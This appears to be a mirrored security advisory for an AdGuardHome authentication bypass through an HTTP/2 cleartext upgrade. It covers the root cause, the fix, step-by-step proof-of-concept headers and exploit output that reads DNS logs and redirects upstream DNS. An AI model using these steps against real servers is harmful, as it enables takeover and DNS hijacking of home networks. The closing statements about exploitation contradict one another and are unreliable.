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GHSA-5fg6-wrq4-w5gh
No affected components available
VULNERABILITY: HTTP/2 Cleartext (h2c) Upgrade Authentication Bypass
Severity: CRITICAL CVSS 3.1: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) CWE: CWE-287 (Improper Authentication) Component: internal/home/web.go Affected: AdGuardHome (tested on v0.107.72)
Summary
An unauthenticated remote attacker can bypass all authentication in AdGuardHome by sending an HTTP/1.1 request that requests an upgrade to HTTP/2 cleartext (h2c). Once the upgrade is accepted, the resulting HTTP/2 connection is handled by the inner mux, which has no authentication middleware attached. All subsequent HTTP/2 requests on that connection are processed as fully authenticated, regardless of whether any credentials were provided.
Root Cause
In internal/home/web.go (approximately lines 268-283), the HTTP server is constructed as follows: hdlr := h2c.NewHandler( withMiddlewares(web.conf.mux, limitRequestBody), // no auth &http2.Server{}, ) web.httpServer = &http.Server{ Handler: web.auth.middleware().Wrap(hdlr), // auth here }
The authentication middleware wraps the h2c handler at the outer layer. When an h2c upgrade request arrives, the h2c library hijacks the TCP connection and calls http2.ServeConn with Handler set to the inner mux, which was stored at h2c.NewHandler creation time. The authentication middleware is never consulted for any request sent over the resulting HTTP/2 connection. The upgrade request itself passes through because it targets a public path (such as /control/login), which is whitelisted by isPublicResource() in internal/home/authhttp.go. After the upgrade, the attacker can reach any administrative endpoint.
Proof of Concept
The PoC script (https://gist.github.com/mandreko/f742d244dfa452e8d00cc5736cf8d629) demonstrates the bypass using a raw TCP connection with HTTP/2 framing. No credentials are provided at any point.
Steps: 1. Open TCP connection to AdGuardHome (default port 3000). 2. Send HTTP/1.1 GET /control/login with headers: Upgrade: h2c Connection: Upgrade, HTTP2-Settings HTTP2-Settings: AAMAAABkAAQAAP__ 3. Server responds: 101 Switching Protocols. 4. Complete HTTP/2 handshake (client preface + SETTINGS exchange). 5. Send HTTP/2 HEADERS frame requesting GET /control/status on stream 3. 6. Server responds: HTTP 200 with full JSON status payload.
Sample output (no username or password supplied): python3 poc_h2c_auth_bypass.py 192.168.1.15 80 --hijack-dns 8.8.8.8 ==================================================================== AdGuardHome -- h2c Authentication Bypass PoC CWE-287: Full API access without credentials ==================================================================== Target : http://192.168.1.15:80 Upgrade : /control/login (whitelisted public path)
[*] Connecting and performing h2c upgrade ... [+] Bypass established -- authentication is not enforced
[*] GET /control/status [+] Version : v0.107.72 [+] DNS addresses: ['127.0.0.1', '::1', '192.168.1.15', 'fd64:b28c:45d2:4b5e:d35c:7660:e1b:92', 'fe80::ba65:3afa:617f:f077%eth0'] [+] HTTP port : 80 [+] Protection : ON
[*] GET /control/querylog (DNS query history) [+] 10 recent entries: 2026-03-09T20:42:15 docker.home.andreko.net 192.168.1.232 2026-03-09T20:42:00 docker.home.andreko.net 192.168.1.232 2026-03-09T20:41:45 docker.home.andreko.net 192.168.1.232 2026-03-09T20:41:30 docker.home.andreko.net 192.168.1.232 2026-03-09T20:41:12 docker.home.andreko.net 192.168.1.232
[*] GET /control/dhcp/status (network device inventory) [+] Dynamic leases : 0 [+] Static leases : 0
[*] POST /control/dns_config (DNS -> 8.8.8.8) [+] Upstream DNS changed to 8.8.8.8 [+] All DNS queries now route through attacker-controlled server
The bypass gives full administrative API access, including: - Reading and modifying DNS configuration - Adding malicious filter lists - Disabling protection - Changing the admin password - Hijacking DNS resolution for all clients on the network
Remediation
Move the authentication middleware inside the h2c handler so it applies to all connections regardless of protocol: authedMux := web.auth.middleware().Wrap( withMiddlewares(web.conf.mux, limitRequestBody), ) hdlr := h2c.NewHandler(authedMux, &http2.Server{}) web.httpServer = &http.Server{ Handler: hdlr, }
Alternatively, if h2c support is not required, removing h2c.NewHandler entirely would eliminate the attack surface. HTTP/2 over TLS (h2) is not affected by this vulnerability.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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